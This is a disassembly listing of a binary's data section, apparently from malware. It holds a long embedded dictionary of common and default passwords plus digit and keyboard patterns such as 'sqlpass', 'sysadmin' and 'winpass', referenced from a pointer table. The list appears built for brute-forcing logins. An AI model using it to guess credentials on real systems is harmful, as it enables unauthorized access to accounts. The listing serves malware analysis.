a99 db '99',0 ; DATA XREF: .text:0042E428o
align 4
a9: ; DATA XREF: .text:0042E424o
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: .text:0042E420o
align 4
a888888888 db '888888888',0 ; DATA XREF: .text:0042E41Co
align 4
a8888888 db '8888888',0 ; DATA XREF: .text:0042E414o
a888888 db '888888',0 ; DATA XREF: .text:0042E410o
align 4
a88888 db '88888',0 ; DATA XREF: .text:0042E40Co
align 10h
a8888 db '8888',0 ; DATA XREF: .text:0042E408o
align 4
a888 db '888',0 ; DATA XREF: .text:0042E404o
a88 db '88',0 ; DATA XREF: .text:0042E400o
align 10h
a8: ; DATA XREF: .text:0042E3FCo
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: .text:0042E3F8o
align 10h
a777777777 db '777777777',0 ; DATA XREF: .text:0042E3F4o
align 4
a77777777 db '77777777',0 ; DATA XREF: .text:0042E3F0o
align 4
a7777777 db '7777777',0 ; DATA XREF: .text:0042E3ECo
a777777 db '777777',0 ; DATA XREF: .text:0042E3E8o
align 4
a77777 db '77777',0 ; DATA XREF: .text:0042E3E4o
align 10h
a7777 db '7777',0 ; DATA XREF: .text:0042E3E0o
align 4
a777 db '777',0 ; DATA XREF: .text:0042E3DCo
a77 db '77',0 ; DATA XREF: .text:0042E3D8o
align 10h
a7: ; DATA XREF: .text:0042E3D4o
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: .text:0042E3D0o
align 10h
a666666666 db '666666666',0 ; DATA XREF: .text:0042E3CCo
align 4
a66666666 db '66666666',0 ; DATA XREF: .text:0042E3C8o
align 4
a6666666 db '6666666',0 ; DATA XREF: .text:0042E3C4o
a666666 db '666666',0 ; DATA XREF: .text:0042E3C0o
align 4
a66666 db '66666',0 ; DATA XREF: .text:0042E3BCo
align 10h
a6666 db '6666',0 ; DATA XREF: .text:0042E3B8o
align 4
a666 db '666',0 ; DATA XREF: .text:0042E3B4o
a66 db '66',0 ; DATA XREF: .text:0042E3B0o
align 10h
a6: ; DATA XREF: .text:0042E3ACo
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: .text:0042E3A8o
align 10h
a555555555 db '555555555',0 ; DATA XREF: .text:0042E3A4o
align 4
a55555555 db '55555555',0 ; DATA XREF: .text:0042E3A0o
align 4
a5555555 db '5555555',0 ; DATA XREF: .text:0042E39Co
a555555 db '555555',0 ; DATA XREF: .text:0042E398o
align 4
a55555 db '55555',0 ; DATA XREF: .text:0042E394o
align 10h
a5555 db '5555',0 ; DATA XREF: .text:0042E390o
align 4
a555 db '555',0 ; DATA XREF: .text:0042E38Co
a55 db '55',0 ; DATA XREF: .text:0042E388o
align 10h
a5_0: ; DATA XREF: .text:0042E384o
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: .text:0042E380o
align 10h
a444444444 db '444444444',0 ; DATA XREF: .text:0042E37Co
align 4
a44444444 db '44444444',0 ; DATA XREF: .text:0042E378o
align 4
a4444444 db '4444444',0 ; DATA XREF: .text:0042E374o
a444444 db '444444',0 ; DATA XREF: .text:0042E370o
align 4
a44444 db '44444',0 ; DATA XREF: .text:0042E36Co
align 10h
a4444 db '4444',0 ; DATA XREF: .text:0042E368o
align 4
a444 db '444',0 ; DATA XREF: .text:0042E364o
a44 db '44',0 ; DATA XREF: .text:0042E360o
align 10h
a4_0: ; DATA XREF: .text:0042E35Co
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: .text:0042E358o
align 10h
a333333333 db '333333333',0 ; DATA XREF: .text:0042E354o
align 4
a33333333 db '33333333',0 ; DATA XREF: .text:0042E350o
align 4
a3333333 db '3333333',0 ; DATA XREF: .text:0042E34Co
a333333 db '333333',0 ; DATA XREF: .text:0042E348o
align 4
a33333 db '33333',0 ; DATA XREF: .text:0042E344o
align 10h
a3333 db '3333',0 ; DATA XREF: .text:0042E340o
align 4
a333 db '333',0 ; DATA XREF: .text:0042E33Co
a33 db '33',0 ; DATA XREF: .text:0042E338o
align 10h
a3: ; DATA XREF: .text:0042E334o
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: .text:0042E330o
align 10h
a222222222 db '222222222',0 ; DATA XREF: .text:0042E32Co
align 4
a22222222 db '22222222',0 ; DATA XREF: .text:0042E328o
align 4
a2222222 db '2222222',0 ; DATA XREF: .text:0042E324o
a222222 db '222222',0 ; DATA XREF: .text:0042E320o
align 4
a22222 db '22222',0 ; DATA XREF: .text:0042E31Co
align 10h
a2222 db '2222',0 ; DATA XREF: .text:0042E318o
align 4
a222 db '222',0 ; DATA XREF: .text:0042E314o
a22 db '22',0 ; DATA XREF: .text:0042E310o
align 10h
a2: ; DATA XREF: .text:0042E30Co
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: .text:0042E308o
align 10h
a111111111 db '111111111',0 ; DATA XREF: .text:0042E304o
align 4
a1111111 db '1111111',0 ; DATA XREF: .text:0042E2FCo
a11111 db '11111',0 ; DATA XREF: .text:0042E2F4o
align 4
a1111 db '1111',0 ; DATA XREF: .text:0042E2F0o
align 4
a11 db '11',0 ; DATA XREF: .text:0042E2E8o
align 4
a010 db '010',0 ; DATA XREF: .text:0042E2D8o
a009 db '009',0 ; DATA XREF: .text:0042E2D4o
a008 db '008',0 ; DATA XREF: .text:0042E2D0o
a006 db '006',0 ; DATA XREF: .text:0042E2C8o
a005 db '005',0 ; DATA XREF: sub_40CD3A+207o
; .text:0042E2C4o
a004 db '004',0 ; DATA XREF: .text:0042E2C0o
a003 db '003',0 ; DATA XREF: .text:0042E2BCo
a002 db '002',0 ; DATA XREF: .text:0042E2B8o
a001 db '001',0 ; DATA XREF: sub_40CD3A+1F2o
; .text:0042E2B4o
asc_42F55C db '*********',0 ; DATA XREF: .text:0042E2B0o
align 4
asc_42F568 db '********',0 ; DATA XREF: .text:0042E2ACo
align 4
asc_42F574 db '*******',0 ; DATA XREF: .text:0042E2A8o
asc_42F57C db '******',0 ; DATA XREF: .text:0042E2A4o
align 4
asc_42F584 db '*****',0 ; DATA XREF: .text:0042E2A0o
align 4
asc_42F58C db '****',0 ; DATA XREF: .text:0042E29Co
align 4
asc_42F594 db '***',0 ; DATA XREF: .text:0042E298o
asc_42F598 db '**',0 ; DATA XREF: .text:0042E294o
align 4
a0000000000 db '0000000000',0 ; DATA XREF: .text:0042E28Co
align 4
a000000000 db '000000000',0 ; DATA XREF: .text:0042E288o
align 4
a@ db '@!',0 ; DATA XREF: .text:0042E268o
align 4
a@_0 db '#@!',0 ; DATA XREF: .text:0042E264o
a@_1 db '$#@!',0 ; DATA XREF: .text:0042E260o
align 4
a@_2 db '%$#@!',0 ; DATA XREF: .text:0042E25Co
align 4
a@_3 db '^%$#@!',0 ; DATA XREF: .text:0042E258o
align 4
a@_4 db '&^%$#@!',0 ; DATA XREF: .text:0042E254o
a@_5 db '*&^%$#@!',0 ; DATA XREF: .text:0042E250o
align 4
asc_42F5E8 db '$$$',0 ; DATA XREF: .text:0042E24Co
asc_42F5EC db '$$',0 ; DATA XREF: .text:0042E248o
align 10h
asc_42F5F0: ; DATA XREF: .text:0042E244o
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: .text:0042E240o
align 4
a789_0 db '789+',0 ; DATA XREF: .text:0042E23Co
align 4
a0 db '=-0',0 ; DATA XREF: .text:0042E238o
asc_42F608 db '--++',0 ; DATA XREF: .text:0042E234o
align 10h
asc_42F610 db '-+',0 ; DATA XREF: .text:0042E230o
align 4
asc_42F614 db '----',0 ; DATA XREF: .text:0042E22Co
align 4
asc_42F61C db '--',0 ; DATA XREF: .text:0042E224o
; .text:0042E228o
align 10h
asc_42F620: ; DATA XREF: .text:0042E220o
unicode 0, <->,0
asc_42F624 db '++++',0 ; DATA XREF: .text:0042E21Co
align 4
asc_42F62C db '+++',0 ; DATA XREF: .text:0042E218o
asc_42F630 db '++',0 ; DATA XREF: .text:0042E214o
align 4
asc_42F634: ; DATA XREF: .text:0042E210o
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: .text:0042E20Co
align 4
a@_6: ; DATA XREF: sub_40CD3A+22Co
; .text:0042E208o
unicode 0, <@>,0
off_42F640 dd offset loc_40211F+2 ; DATA XREF: .text:0042E204o
dword_42F644 dd 2121h dword_42F648 dd 234021h dword_42F64C dd 4021h dword_42F650 dd 21h ; sub_40CD3A+5B04o ...
aZxcv db 'zxcv',0 ; DATA XREF: .text:0042E1D8o
; .text:0042E6E0o
align 4
aZxc db 'zxc',0 ; DATA XREF: .text:0042E1D4o
; .text:0042E6DCo
aZulu db 'zulu',0 ; DATA XREF: .text:0042E1D0o
align 4
aZombie db 'zombie',0 ; DATA XREF: .text:0042E1CCo
align 10h
aZmodem db 'zmodem',0 ; DATA XREF: .text:0042E1C8o
align 4
aZimmerman db 'zimmerman',0 ; DATA XREF: .text:0042E1C4o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .text:0042E1C0o
align 10h
aZiggy db 'ziggy',0 ; DATA XREF: .text:0042E1BCo
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .text:0042E1B8o
align 4
aZebra db 'zebra',0 ; DATA XREF: .text:0042E1B4o
align 4
aZap db 'zap',0 ; DATA XREF: .text:0042E1B0o
aYxcv db 'yxcv',0 ; DATA XREF: .text:0042E1ACo
align 4
aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .text:0042E1A8o
align 4
aYoung db 'young',0 ; DATA XREF: .text:0042E1A4o
align 10h
aYosemite db 'yosemite',0 ; DATA XREF: .text:0042E1A0o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: .text:0042E19Co
aYellowstone db 'yellowstone',0 ; DATA XREF: .text:0042E198o
aYellowst db 'yellowst',0 ; DATA XREF: .text:0042E194o
align 4
aYellow db 'yellow',0 ; DATA XREF: .text:0042E190o
align 4
aYankee db 'yankee',0 ; DATA XREF: .text:0042E18Co
align 4
aYang db 'yang',0 ; DATA XREF: .text:0042E188o
; .text:0042E6CCo
align 4
aYaco db 'yaco',0 ; DATA XREF: .text:0042E184o
; .text:0042E6C8o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .text:0042E180o
align 4
aXyz db 'xyz',0 ; DATA XREF: .text:0042E17Co
; .text:0042E6C4o
aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .text:0042E178o
; .text:0042E6C0o
align 4
aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .text:0042E174o
; .text:0042E6BCo
align 10h
aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .text:0042E170o
; .text:0042E6B8o
aXxxxxx db 'xxxxxx',0 ; DATA XREF: .text:0042E16Co
; .text:0042E6B4o
align 10h
aXxxxx db 'xxxxx',0 ; DATA XREF: .text:0042E168o
; .text:0042E6B0o
align 4
aXxxx db 'xxxx',0 ; DATA XREF: .text:0042E164o
; .text:0042E6ACo
align 10h
aXxx db 'xxx',0 ; DATA XREF: .text:0042E160o
; .text:0042E6A8o
aXx db 'xx',0 ; DATA XREF: .text:0042E15Co
; .text:0042E6A4o
align 4
aXray db 'xray',0 ; DATA XREF: .text:0042E158o
align 10h
aXp_0 db 'xp',0 ; DATA XREF: .text:0042E154o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .text:0042E150o
align 4
aXmen db 'xmen',0 ; DATA XREF: .text:0042E14Co
align 4
aXman db 'xman',0 ; DATA XREF: .text:0042E148o
align 4
aXfer db 'xfer',0 ; DATA XREF: .text:0042E144o
align 4
aXena db 'xena',0 ; DATA XREF: .text:0042E140o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: .text:0042E138o
aWww db 'www',0 ; DATA XREF: .text:0042E130o
aWwii db 'wwii',0 ; DATA XREF: .text:0042E12Co
align 10h
aWormwood db 'wormwood',0 ; DATA XREF: .text:0042E128o
align 4
aWorm db 'worm',0 ; DATA XREF: .text:0042E124o
align 4
aWork db 'work',0 ; DATA XREF: .text:0042E120o
align 4
aWorf db 'worf',0 ; DATA XREF: .text:0042E11Co
align 4
aWordperf db 'wordperf',0 ; DATA XREF: .text:0042E118o
align 10h
aWord db 'word',0 ; DATA XREF: .text:0042E114o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .text:0042E110o
align 4
aWood db 'wood',0 ; DATA XREF: .text:0042E10Co
align 4
aWomen db 'women',0 ; DATA XREF: .text:0042E108o
align 4
aWombat db 'wombat',0 ; DATA XREF: .text:0042E104o
align 4
aWoman db 'woman',0 ; DATA XREF: .text:0042E100o
align 4
aWolverin db 'wolverin',0 ; DATA XREF: .text:0042E0FCo
align 10h
aWolf db 'wolf',0 ; DATA XREF: .text:0042E0F8o
align 4
aWizard db 'wizard',0 ; DATA XREF: .text:0042E0F4o
align 10h
aWithin db 'within',0 ; DATA XREF: .text:0042E0F0o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .text:0042E0ECo
aWisconsin db 'wisconsin',0 ; DATA XREF: .text:0042E0E8o
align 4
aWisconsi db 'wisconsi',0 ; DATA XREF: .text:0042E0E4o
align 4
aWired db 'wired',0 ; DATA XREF: .text:0042E0E0o
align 10h
aWinxp db 'winxp',0 ; DATA XREF: .text:0042E0DCo
align 4
aWinston db 'winston',0 ; DATA XREF: .text:0042E0D8o
aWinpass db 'winpass',0 ; DATA XREF: .text:0042E0D4o
aWinnt db 'winnt',0 ; DATA XREF: .text:0042E0D0o
align 10h
aWing db 'wing',0 ; DATA XREF: .text:0042E0CCo
align 4
aWine db 'wine',0 ; DATA XREF: .text:0042E0C8o
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: .text:0042E0C4o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: .text:0042E0C0o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: .text:0042E0BCo
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: .text:0042E0B8o
align 10h
aWindoze2k db 'windoze2k',0 ; DATA XREF: .text:0042E0B4o
align 4
aWindoze db 'windoze',0 ; DATA XREF: .text:0042E0B0o
aWindowz db 'windowz',0 ; DATA XREF: .text:0042E0ACo
aWindowsme db 'windowsME',0 ; DATA XREF: .text:0042E0A8o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: .text:0042E0A4o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: .text:0042E0A0o
align 10h
aWindows2k db 'windows2k',0 ; DATA XREF: .text:0042E09Co
align 4
aWindows db 'windows',0 ; DATA XREF: .text:0042E098o
aWindose db 'windose',0 ; DATA XREF: .text:0042E094o
aWin98 db 'win98',0 ; DATA XREF: .text:0042E090o
align 4
aWin2k db 'win2k',0 ; DATA XREF: .text:0042E08Co
align 4
aWin2000 db 'win2000',0 ; DATA XREF: .text:0042E088o
aWin db 'win',0 ; DATA XREF: .text:0042E084o
aWilma db 'wilma',0 ; DATA XREF: .text:0042E080o
align 10h
aWillie db 'willie',0 ; DATA XREF: .text:0042E07Co
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: .text:0042E078o
align 4
aWilliams db 'williams',0 ; DATA XREF: .text:0042E074o
align 4
aWilliam db 'william',0 ; DATA XREF: .text:0042E070o
aWill db 'will',0 ; DATA XREF: .text:0042E06Co
align 4
aWileecoyote db 'wileecoyote',0 ; DATA XREF: .text:0042E068o
aWhore db 'whore',0 ; DATA XREF: .text:0042E064o
align 4
aWholesale db 'wholesale',0 ; DATA XREF: .text:0042E060o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: .text:0042E05Co
align 10h
aWhitney db 'whitney',0 ; DATA XREF: .text:0042E058o
aWhiting db 'whiting',0 ; DATA XREF: .text:0042E054o
aWhite db 'white',0 ; DATA XREF: .text:0042E050o
align 4
aWhisky db 'whisky',0 ; DATA XREF: .text:0042E04Co
align 10h
aWhatnot db 'whatnot',0 ; DATA XREF: .text:0042E048o
aWhatever db 'whatever',0 ; DATA XREF: .text:0042E044o
align 4
aWh0re db 'wh0re',0 ; DATA XREF: .text:0042E040o
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: .text:0042E03Co
align 4
aWestern db 'western',0 ; DATA XREF: .text:0042E038o
aWest db 'west',0 ; DATA XREF: .text:0042E034o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .text:0042E030o
align 10h
aWendy db 'wendy',0 ; DATA XREF: .text:0042E02Co
align 4
aWendi db 'wendi',0 ; DATA XREF: .text:0042E028o
align 10h
aWell db 'well',0 ; DATA XREF: .text:0042E024o
align 4
aWeenie db 'weenie',0 ; DATA XREF: .text:0042E020o
align 10h
aWeed db 'weed',0 ; DATA XREF: .text:0042E01Co
align 4
aWednesda db 'wednesda',0 ; DATA XREF: .text:0042E018o
align 4
aWebpage db 'webpage',0 ; DATA XREF: .text:0042E014o
aWeb db 'web',0 ; DATA XREF: .text:0042E010o
aWave db 'wave',0 ; DATA XREF: .text:0042E00Co
align 4
aWater db 'water',0 ; DATA XREF: .text:0042E008o
align 10h
aWatchwor db 'watchwor',0 ; DATA XREF: .text:0042E004o
align 4
aWasp db 'wasp',0 ; DATA XREF: .text:0042E000o
align 4
aWarren db 'warren',0 ; DATA XREF: .text:0042DFFCo
align 4
aWarp db 'warp',0 ; DATA XREF: .text:0042DFF8o
align 4
aWargames db 'wargames',0 ; DATA XREF: .text:0042DFF4o
align 10h
aWarfare db 'warfare',0 ; DATA XREF: .text:0042DFF0o
aWarez db 'warez',0 ; DATA XREF: .text:0042DFECo
align 10h
aWard db 'ward',0 ; DATA XREF: .text:0042DFE8o
align 4
aWaco db 'waco',0 ; DATA XREF: .text:0042DFE4o
align 10h
aW00t db 'w00t',0 ; DATA XREF: .text:0042DFE0o
align 4
aVodka db 'vodka',0 ; DATA XREF: .text:0042DFDCo
align 10h
aVisualba db 'visualba',0 ; DATA XREF: .text:0042DFD8o
align 4
aVisual db 'visual',0 ; DATA XREF: .text:0042DFD4o
align 4
aVisitor db 'visitor',0 ; DATA XREF: .text:0042DFD0o
aVirus db 'virus',0 ; DATA XREF: .text:0042DFCCo
align 4
aVirginia db 'virginia',0 ; DATA XREF: .text:0042DFC8o
align 10h
aVirgin db 'virgin',0 ; DATA XREF: .text:0042DFC4o
align 4
aVillage db 'village',0 ; DATA XREF: .text:0042DFC0o
aVideogam db 'videogam',0 ; DATA XREF: .text:0042DFBCo
align 4
aVideo db 'video',0 ; DATA XREF: .text:0042DFB8o
align 4
aVictor db 'victor',0 ; DATA XREF: .text:0042DFB4o
align 4
aVicky db 'vicky',0 ; DATA XREF: .text:0042DFB0o
align 4
aVertigo db 'vertigo',0 ; DATA XREF: .text:0042DFACo
aVeronica db 'veronica',0 ; DATA XREF: .text:0042DFA8o
align 4
aVenus db 'venus',0 ; DATA XREF: .text:0042DFA4o
align 10h
aVasant db 'vasant',0 ; DATA XREF: .text:0042DFA0o
align 4
aVampire db 'vampire',0 ; DATA XREF: .text:0042DF9Co
aValerie db 'valerie',0 ; DATA XREF: .text:0042DF98o
aVagina db 'vagina',0 ; DATA XREF: .text:0042DF94o
align 10h
aUwontguessme db 'uwontguessme',0 ; DATA XREF: .text:0042DF90o
align 10h
aUucp db 'uucp',0 ; DATA XREF: .text:0042DF8Co
align 4
aUtility db 'utility',0 ; DATA XREF: .text:0042DF88o
aUtil db 'util',0 ; DATA XREF: .text:0042DF84o
align 4
aUsmc db 'usmc',0 ; DATA XREF: .text:0042DF80o
align 10h
aUserpassword db 'userpassword',0 ; DATA XREF: .text:0042DF7Co
align 10h
aUsername db 'username',0 ; DATA XREF: .text:0042DF78o
align 4
aUsermane db 'usermane',0 ; DATA XREF: .text:0042DF74o
align 4
aUser1 db 'user1',0 ; DATA XREF: .text:0042DF70o
align 10h
aUsenet db 'usenet',0 ; DATA XREF: .text:0042DF6Co
align 4
aUrsula db 'ursula',0 ; DATA XREF: .text:0042DF68o
align 10h
aUrchin db 'urchin',0 ; DATA XREF: .text:0042DF64o
align 4
aUranus db 'uranus',0 ; DATA XREF: .text:0042DF60o
align 10h
aUpload db 'upload',0 ; DATA XREF: .text:0042DF5Co
align 4
aUnlock db 'unlock',0 ; DATA XREF: .text:0042DF58o
align 10h
aUnix db 'unix',0 ; DATA XREF: .text:0042DF54o
align 4
aUniversi db 'universi',0 ; DATA XREF: .text:0042DF50o
align 4
aUniverse db 'universe',0 ; DATA XREF: .text:0042DF4Co
align 10h
aUniversa db 'universa',0 ; DATA XREF: .text:0042DF48o
align 4
aUniform db 'uniform',0
aUnicorn db 'unicorn',0
aUnhappy db 'unhappy',0
aUndo db 'undo',0
align 4
aUncle db 'uncle',0
align 4
aUmesh db 'umesh',0
align 4
aUgly db 'ugly',0
align 4
aTuttle db 'tuttle',0
align 4
aTurnip db 'turnip',0
align 4
aTurn db 'turn',0
align 4
aTuesday db 'tuesday',0
aTubas db 'tubas',0
align 4
aTty db 'tty',0
aTruth db 'truth',0
align 4
aTrue db 'true',0
align 10h
aTron db 'tron',0
align 4
aTrombone db 'trombone',0
align 4
aTrojan db 'trojan',0
align 4
aTrivial db 'trivial',0
aTrisha db 'trisha',0
align 4
aTrek db 'trek',0
align 4
aTree db 'tree',0
align 4
aTrapdoor db 'trapdoor',0
align 4
aTrap db 'trap',0
align 10h
aTransfer db 'transfer',0
align 4
aTrails db 'trails',0
align 4
aTracy db 'tracy',0
align 4
aTracie db 'tracie',0
align 4
aTraci db 'traci',0
align 4
aToyota_0 db 'toyota',0 ; DATA XREF: .text:0042E69Co
align 4
aToxic db 'toxic',0
align 4
aTortoise db 'tortoise',0
align 4
aTopography db 'topography',0
align 4
aTopograp db 'topograp',0
align 10h
aTomato db 'tomato',0
align 4
aTokenrin db 'tokenrin',0
align 4
aToken db 'token',0
align 4
aToggle db 'toggle',0
align 4
aToad db 'toad',0
align 4
aTits db 'tits',0
align 4
aTina db 'tina',0
align 4
aTime db 'time',0
align 4
aTiger db 'tiger',0 ; DATA XREF: .text:0042E690o
align 4
aTiffany db 'tiffany',0
aThursday db 'thursday',0
align 10h
aThin db 'thin',0
align 4
aTheresa db 'theresa',0
aThailand db 'thailand',0
align 4
aText db 'text',0
align 4
aTetris db 'tetris',0
align 4
aTesting db 'testing',0
aTestin db 'testin',0
align 4
aTester db 'tester',0
align 4
aTest123 db 'test123',0
aTess db 'tess',0
align 4
aTerminat db 'terminat',0
align 10h
aTerminal db 'terminal',0
align 4
aTera db 'tera',0
align 4
aTennis db 'tennis',0
align 4
aTemptation db 'temptation',0
align 4
aTemptati db 'temptati',0
align 4
aTemp123 db 'temp123',0
aTemp_0 db 'temp',0
align 4
aTelnet db 'telnet',0
align 4
aTelephone db 'telephone',0
align 4
aTelephon db 'telephon',0
align 4
aTeenage db 'teenage',0
aTeen db 'teen',0
align 4
aTechnical db 'technical',0
align 10h
aTech db 'tech',0
align 4
aTears db 'tears',0 ; DATA XREF: .text:0042DE2Co
align 10h
aTeapot db 'teapot',0 ; DATA XREF: .text:0042DE28o
align 4
aTeam db 'team',0 ; DATA XREF: .text:0042DE24o
align 10h
aTaylor db 'taylor',0 ; DATA XREF: .text:0042DE1Co
align 4
aTarragon db 'tarragon',0 ; DATA XREF: .text:0042DE18o
align 4
aTarget db 'target',0 ; DATA XREF: .text:0042DE14o
align 4
aTara db 'tara',0 ; DATA XREF: .text:0042DE10o
align 4
aTape db 'tape',0 ; DATA XREF: .text:0042DE0Co
align 4
aTango db 'tango',0 ; DATA XREF: .text:0042DE08o
align 4
aTangerine db 'tangerine',0 ; DATA XREF: .text:0042DE04o
align 10h
aTangerin db 'tangerin',0 ; DATA XREF: .text:0042DE00o
align 4
aTammy db 'tammy',0 ; DATA XREF: .text:0042DDFCo
align 4
aTamie db 'tamie',0 ; DATA XREF: .text:0042DDF8o
align 4
aTami db 'tami',0 ; DATA XREF: .text:0042DDF4o
align 4
aTamara db 'tamara',0 ; DATA XREF: .text:0042DDF0o
align 4
aTall db 'tall',0 ; DATA XREF: .text:0042DDECo
align 4
aTalk db 'talk',0 ; DATA XREF: .text:0042DDE8o
align 4
aTabasco db 'tabasco',0 ; DATA XREF: .text:0042DDE4o
aSysop db 'sysop',0 ; DATA XREF: .text:0042DDE0o
align 4
aSysadmin db 'sysadmin',0 ; DATA XREF: .text:0042DDDCo
align 4
aSys db 'sys',0 ; DATA XREF: .text:0042DDD8o
aSymmetry db 'symmetry',0 ; DATA XREF: .text:0042DDD4o
align 4
aSybil db 'sybil',0 ; DATA XREF: .text:0042DDD0o
align 10h
aSybase db 'sybase',0 ; DATA XREF: .text:0042DDCCo
align 4
aSword db 'sword',0 ; DATA XREF: .text:0042DDC8o
align 10h
aSwitch db 'switch',0 ; DATA XREF: .text:0042DDC4o
align 4
aSweat db 'sweat',0 ; DATA XREF: .text:0042DDC0o
align 10h
aSwearer db 'swearer',0 ; DATA XREF: .text:0042DDBCo
aSuzie db 'suzie',0 ; DATA XREF: .text:0042DDB8o
align 10h
aSuzanne db 'suzanne',0 ; DATA XREF: .text:0042DDB4o
aSusie db 'susie',0 ; DATA XREF: .text:0042DDB0o
align 10h
aSusanne db 'susanne',0 ; DATA XREF: .text:0042DDACo
aSusan db 'susan',0 ; DATA XREF: .text:0042DDA8o
align 10h
aSurfing db 'surfing',0 ; DATA XREF: .text:0042DDA4o
aSurfer db 'surfer',0 ; DATA XREF: .text:0042DDA0o
align 10h
aSupported db 'supported',0 ; DATA XREF: .text:0042DD9Co
align 4
aSupporte db 'supporte',0 ; DATA XREF: .text:0042DD98o
align 4
aSupport db 'support',0 ; DATA XREF: .text:0042DD94o
aSupervis db 'supervis',0 ; DATA XREF: .text:0042DD90o
align 4
aSuperuser db 'superuser',0 ; DATA XREF: .text:0042DD8Co
align 4
aSuperuse db 'superuse',0 ; DATA XREF: .text:0042DD88o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: .text:0042DD84o
align 10h
aSupersta db 'supersta',0 ; DATA XREF: .text:0042DD80o
align 4
aSuperson db 'superson',0 ; DATA XREF: .text:0042DD7Co
align 4
aSuperman db 'superman',0 ; DATA XREF: .text:0042DD78o
align 4
aSuper db 'super',0 ; DATA XREF: .text:0042DD74o
align 4
aSunday db 'sunday',0 ; DATA XREF: .text:0042DD70o
align 4
aSun db 'sun',0 ; DATA XREF: .text:0042DD6Co
aSummer db 'summer',0 ; DATA XREF: .text:0042DD68o
align 10h
aSue db 'sue',0 ; DATA XREF: .text:0042DD64o
aSucks db 'sucks',0 ; DATA XREF: .text:0042DD60o
align 4
aSuckmydi db 'suckmydi',0 ; DATA XREF: .text:0042DD5Co
align 4
aSuck db 'suck',0 ; DATA XREF: .text:0042DD58o
align 10h
aSuccess db 'success',0 ; DATA XREF: .text:0042DD54o
aSubway db 'subway',0 ; DATA XREF: .text:0042DD50o
; .text:off_4254E0o
align 10h
aSubscrib db 'subscrib',0 ; DATA XREF: .text:0042DD4Co
align 4
aStuttgart db 'stuttgart',0 ; DATA XREF: .text:0042DD48o
align 4
aStuttgar db 'stuttgar',0 ; DATA XREF: .text:0042DD44o
align 4
aStudent1 db 'student1',0 ; DATA XREF: .text:0042DD40o
align 10h
aStrip db 'strip',0 ; DATA XREF: .text:0042DD38o
align 4
aString db 'string',0 ; DATA XREF: .text:0042DD34o
align 10h
aStreetfi db 'streetfi',0 ; DATA XREF: .text:0042DD30o
align 4
aStratford db 'stratford',0 ; DATA XREF: .text:0042DD2Co
align 4
aStratfor db 'stratfor',0 ; DATA XREF: .text:0042DD28o
align 4
aStrangle db 'strangle',0 ; DATA XREF: .text:0042DD24o
align 10h
aStrange db 'strange',0 ; DATA XREF: .text:0042DD20o
aStones db 'stones',0 ; DATA XREF: .text:0042DD1Co
align 10h
aStoned db 'stoned',0 ; DATA XREF: .text:0042DD18o
align 4
aStoneage db 'stoneage',0 ; DATA XREF: .text:0042DD14o
align 4
aSteve db 'steve',0 ; DATA XREF: .text:0042DD10o
align 4
aStereo db 'stereo',0 ; DATA XREF: .text:0042DD0Co
align 4
aStephanie db 'stephanie',0 ; DATA XREF: .text:0042DD08o
align 10h
aStephani db 'stephani',0 ; DATA XREF: .text:0042DD04o
align 4
aSteph db 'steph',0 ; DATA XREF: .text:0042DD00o
align 4
aSteel db 'steel',0 ; DATA XREF: .text:0042DCFCo
align 4
aSteal db 'steal',0 ; DATA XREF: .text:0042DCF8o
align 4
aSteak db 'steak',0 ; DATA XREF: .text:0042DCF4o
align 4
aStarwars db 'starwars',0 ; DATA XREF: .text:0042DCF0o
align 4
aStartup db 'startup',0 ; DATA XREF: .text:0042DCECo
aStartrek db 'startrek',0 ; DATA XREF: .text:0042DCE8o
align 4
aStart db 'start',0 ; DATA XREF: sub_40CD3A+1E47o
; .text:0042DCE4o
align 4
aStarship db 'starship',0 ; DATA XREF: .text:0042DCE0o
align 10h
aStar db 'star',0 ; DATA XREF: .text:0042DCDCo
align 4
aStacy db 'stacy',0 ; DATA XREF: .text:0042DCD4o
align 10h
aStacie db 'stacie',0 ; DATA XREF: .text:0042DCD0o
align 4
aStaci db 'staci',0 ; DATA XREF: .text:0042DCCCo
align 10h
aStacey db 'stacey',0 ; DATA XREF: .text:0042DCC8o
align 4
aSr71 db 'sr71',0 ; DATA XREF: .text:0042DCC4o
align 10h
aSquires db 'squires',0 ; DATA XREF: .text:0042DCC0o
aSqlpass db 'sqlpass',0 ; DATA XREF: .text:0042DCBCo
aSqlagent db 'sqlagent',0 ; DATA XREF: .text:0042DCB8o
align 4
aSql db 'sql',0 ; DATA XREF: .text:0042DCB4o
aSpunk db 'spunk',0 ; DATA XREF: .text:0042DCB0o
align 4
aSpringer db 'springer',0 ; DATA XREF: .text:0042DCACo
align 4
aSpring db 'spring',0 ; DATA XREF: .text:0042DCA8o
align 4
aSpred db 'spred',0 ; DATA XREF: .text:0042DCA4o
